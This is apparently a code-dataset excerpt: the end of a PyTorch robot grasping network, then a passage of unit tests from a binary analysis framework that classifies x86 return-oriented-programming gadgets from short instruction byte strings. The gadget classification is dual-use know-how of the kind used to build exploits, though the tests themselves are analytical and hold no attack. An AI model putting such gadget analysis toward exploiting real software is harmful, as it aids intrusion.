np.radians(rotate_idx*(360/self.num_rotations)) # Compute sample grid for rotation BEFORE branches affine_mat_before = rot_to_affine_mat(-rotate_theta, batch_size=input_color_data.size(0)) if self.use_cuda: flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False).cuda(), input_color_data.size()) else: flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False), input_color_data.size()) # Rotate images clockwise if self.use_cuda: rotate_color = F.grid_sample(Variable(input_color_data, requires_grad=False).cuda(), flow_grid_before, mode='nearest') rotate_depth = F.grid_sample(Variable(input_depth_data, requires_grad=False).cuda(), flow_grid_before, mode='nearest') else: rotate_color = F.grid_sample(Variable(input_color_data, requires_grad=False), flow_grid_before, mode='nearest') rotate_depth = F.grid_sample(Variable(input_depth_data, requires_grad=False), flow_grid_before, mode='nearest') # Compute intermediate features interm_push_color_feat = self.push_color_trunk.features(rotate_color) interm_push_depth_feat = self.push_depth_trunk.features(rotate_depth) interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat), dim=1) interm_grasp_color_feat = self.grasp_color_trunk.features(rotate_color) interm_grasp_depth_feat = self.grasp_depth_trunk.features(rotate_depth) interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat), dim=1) part_interm_feat = [interm_push_feat, interm_grasp_feat] if self.place: interm_place_color_feat = self.place_color_trunk.features(rotate_color) interm_place_depth_feat = self.place_depth_trunk.features(rotate_depth) interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat), dim=1) part_interm_feat += [interm_place_feat] interm_feat.append(part_interm_feat) # Compute sample grid for rotation AFTER branches affine_mat_after = rot_to_affine_mat(rotate_theta, batch_size=input_color_data.size(0)) if self.use_cuda: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size()) else: flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size()) part_output_prob = [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)), nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))] if self.place: part_output_prob += [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.placenet(interm_place_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))] # Forward pass through branches, undo rotation on output predictions, upsample results output_prob.append(part_output_prob) return output_prob, interm_feat

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6249d104ce803be55e740a4082ea5e8614687e5e

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py

Python

tests/analysis/gadgets/test_gadget_x86.py

Cyb3rDo/barf-project

df7359b7689f3282cdf900358bf2519d7f6c1da4

[ "BSD-2-Clause" ]

1

2018-12-14T13:41:37.000Z

tests/analysis/gadgets/test_gadget_x86.py

Cyb3rDo/barf-project

df7359b7689f3282cdf900358bf2519d7f6c1da4

[ "BSD-2-Clause" ]

null

tests/analysis/gadgets/test_gadget_x86.py

Cyb3rDo/barf-project

df7359b7689f3282cdf900358bf2519d7f6c1da4

[ "BSD-2-Clause" ]

null

# Copyright (c) 2014, Fundacion Dr. Manuel Sadosky # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import unittest from barf.analysis.codeanalyzer import CodeAnalyzer from barf.analysis.gadgets.gadget import GadgetType from barf.analysis.gadgets.classifier import GadgetClassifier from barf.analysis.gadgets.finder import GadgetFinder from barf.analysis.gadgets.verifier import GadgetVerifier from barf.arch import ARCH_X86 from barf.arch import ARCH_X86_MODE_32 from barf.arch import ARCH_X86_MODE_64 from barf.arch.x86 import X86ArchitectureInformation from barf.arch.x86.disassembler import X86Disassembler from barf.arch.x86.translator import X86Translator from barf.core.reil import ReilEmptyOperand from barf.core.reil.emulator.emulator import ReilEmulator from barf.core.reil import ReilImmediateOperand from barf.core.reil import ReilRegisterOperand # from barf.core.smt.smtsolver import CVC4Solver as SmtSolver from barf.core.smt.smtsolver import Z3Solver as SmtSolver from barf.core.smt.smttranslator import SmtTranslator class GadgetClassifierTests(unittest.TestCase): def setUp(self): self._arch_info = X86ArchitectureInformation(ARCH_X86_MODE_32) self._ir_emulator = ReilEmulator(self._arch_info) self._g_classifier = GadgetClassifier(self._ir_emulator, self._arch_info) # FIXME: Don't take into account esp modification because of RET instruction. # def test_nop_1(self): # # testing : nop # binary = "\x90" # 0x00 : (1) nop # binary += "\xc3" # 0x00 : (1) ret # g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) # g_candidates = g_finder.find(0x00000000, 0x00000001) # g_classified = self._g_classifier.classify(g_candidates[0]) # # self.print_candidates(g_candidates) # # self.print_classified(g_classified) # self.assertEquals(len(g_candidates), 1) # self.assertEquals(len(g_classified), 1) # self.assertEquals(g_classified[0].type, GadgetType.NoOperation) # self.assertEquals(g_classified[0].sources, []) # self.assertEquals(g_classified[0].destination, []) # self.assertEquals(len(g_classified[0].modified_registers), 0) # FIXME: Don't take into account esp modification because of RET instruction. # def test_nop_2(self): # # testing : nop # binary = "\x89\xc0" # 0X00 : (2) mov eax, eax # binary += "\xc3" # 0X02 : (1) ret # g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) # g_candidates = g_finder.find(0x00000000, 0x00000002) # g_classified = self._g_classifier.classify(g_candidates[0]) # self.assertEquals(len(g_candidates), 1) # self.assertEquals(len(g_classified), 1) # # self.print_candidates(g_candidates) # # self.print_classified(g_classified) # self.assertEquals(g_classified[0].type, GadgetType.NoOperation) # self.assertEquals(g_classified[0].sources, []) # self.assertEquals(g_classified[0].destination, []) # self.assertEquals(len(g_classified[0].modified_registers), 0) # self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) def test_move_register_1(self): # testing : dst_reg <- src_reg binary = "\x89\xd8" # 0x00 : (2) mov eax, ebx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.MoveRegister) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_move_register_2(self): # testing : dst_reg <- src_reg binary = "\x8d\x03" # 0x00 : (2) lea eax, [ebx] binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.MoveRegister) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_move_register_3(self): # testing : dst_reg <- src_reg binary = "\x93" # 0x00 : (1) xchg ebx, eax binary += "\xc3" # 0x01 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000001) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertEquals(g_classified[0].type, GadgetType.MoveRegister) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertFalse(ReilRegisterOperand("ebx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_move_register_4(self): # testing : dst_reg <- src_reg binary = "\x93" # 0x00 : (1) xchg ebx, eax binary += "\xc3" # 0x01 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000001) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertEquals(g_classified[1].type, GadgetType.MoveRegister) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[1].modified_registers), 2) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) def test_move_register_5(self): # testing : dst_reg <- src_reg binary = "\x6b\xc3\x01" # 0x00 : (3) imul eax, ebx, 0x1 binary += "\xc3" # 0x03 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000003) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.MoveRegister) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_constant_1(self): # testing : dst_reg <- constant binary = "\xb8\x00\x00\x00\x00" # 0x00 : (5) mov eax, 0x0 binary += "\xc3" # 0x05 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000005) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadConstant) self.assertEquals(g_classified[0].sources, [ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_constant_2(self): # testing : dst_reg <- constant binary = "\x29\xc0" # 0x00 : (2) sub eax, eax binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadConstant) self.assertEquals(g_classified[0].sources, [ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_add_1(self): # testing : dst_reg <- src1_reg + src2_reg binary = "\x01\xc1" # 0x00 : (2) add ecx, eax binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.Arithmetic) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_add_2(self): # testing : dst_reg <- src1_reg + src2_reg binary = "\x23\x00" # 0x00 : (2) and eax, dword [eax] binary += "\x00\xc9" # 0x02 : (2) add cl, cl binary += "\xc3" # 0x04 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 2) self.assertEquals(g_classified[0].type, GadgetType.Arithmetic) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("cl", 8), ReilRegisterOperand("cl", 8)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("cl", 8)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 4) self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_add_3(self): # testing : dst_reg <- src1_reg + src2_reg binary = "\x00\xC3" # 0x00 : (2) add bl,al binary += "\x50" # 0x02 : (1) push eax binary += "\xC3" # 0x03 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000003) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 4) self.assertEquals(g_classified[0].type, GadgetType.Arithmetic) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("al", 8), ReilRegisterOperand("bl", 8)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("bl", 8)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[0].modified_registers) def test_arithmetic_sub(self): # testing : dst_reg <- src1_reg - src2_reg binary = "\x29\xd1" # 0x00 : (2) sub ecx, edx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.Arithmetic) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilRegisterOperand("edx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].operation, "-") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_memory_1(self): # testing : dst_reg <- m[src_reg] binary = "\x8b\x03" # 0x00 : (2) mov eax, dword ptr [ebx] binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_memory_2(self): # testing : dst_reg <- m[offset] binary = "\x8b\x0d\xef\xbe\xad\xde" # 0x00 : (6) mov ecx, dword ptr [0xdeadbeef] binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_memory_3(self): # testing : dst_reg <- m[src_reg + offset] binary = "\x8b\x88\x00\x01\x00\x00" # 0x00 : (6) mov ecx, dword ptr [eax+0x100] binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_memory_4(self): # testing : dst_reg <- m[dst_reg] binary = "\x8b\x09" # 0x00 : (2) mov ecx, dword ptr [ecx] binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_memory_5(self): # testing : dst_reg <- m[dst_reg + offset] binary = "\x8b\x89\x00\x01\x00\x00" # 0x00 : (6) mov ecx, dword ptr [ecx+0x100] binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) # def test_load_memory_6(self): # # FIXME: # # testing : dst_reg <- m[dst_reg + offset] # binary = "\x5c\xc3" # pop esp ; ret # # binary = "\x8b\x89\x00\x01\x00\x00" # 0x00 : (6) mov ecx, dword ptr [ecx+0x100] # # binary += "\xc3" # 0x06 : (1) ret # g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) # g_candidates = g_finder.find(0x00000000, 0x00000001) # g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) # self.assertEquals(len(g_candidates), 2) # self.assertEquals(len(g_classified), 1) # self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) # self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)]) # self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) # self.assertEquals(len(g_classified[0].modified_registers), 0) # self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) def test_store_memory_1(self): # testing : m[dst_reg] <- src_reg binary = "\x89\x18" # 0x00 : (2) mov dword ptr [eax], ebx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.StoreMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_store_memory_2(self): # testing : m[offset] <- src_reg binary = "\x89\x0d\xef\xbe\xad\xde" # 0x00 : (6) mov dword ptr [0xdeadbeef], ecx binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.StoreMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_store_memory_3(self): # testing : m[dst_reg + offset] <- src_reg binary = "\x89\x88\x00\x01\x00\x00" # 0x00 : (6) mov dword ptr [eax+0x100], ecx binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.StoreMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_store_memory_4(self): # testing : m[dst_reg] <- dst_reg binary = "\x89\x09" # 0x00 : (2) mov dword ptr [ecx], ecx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.StoreMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_store_memory_5(self): # testing : m[dst_reg + offset] <- dst_reg binary = "\x89\x89\x00\x01\x00\x00" # 0x00 : (6) mov dword ptr [ecx+0x100], ecx binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.StoreMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_store_memory_6(self): # testing : m[dst_reg + offset] <- dst_reg binary = "\x00\x00" # 0x00 : (2) 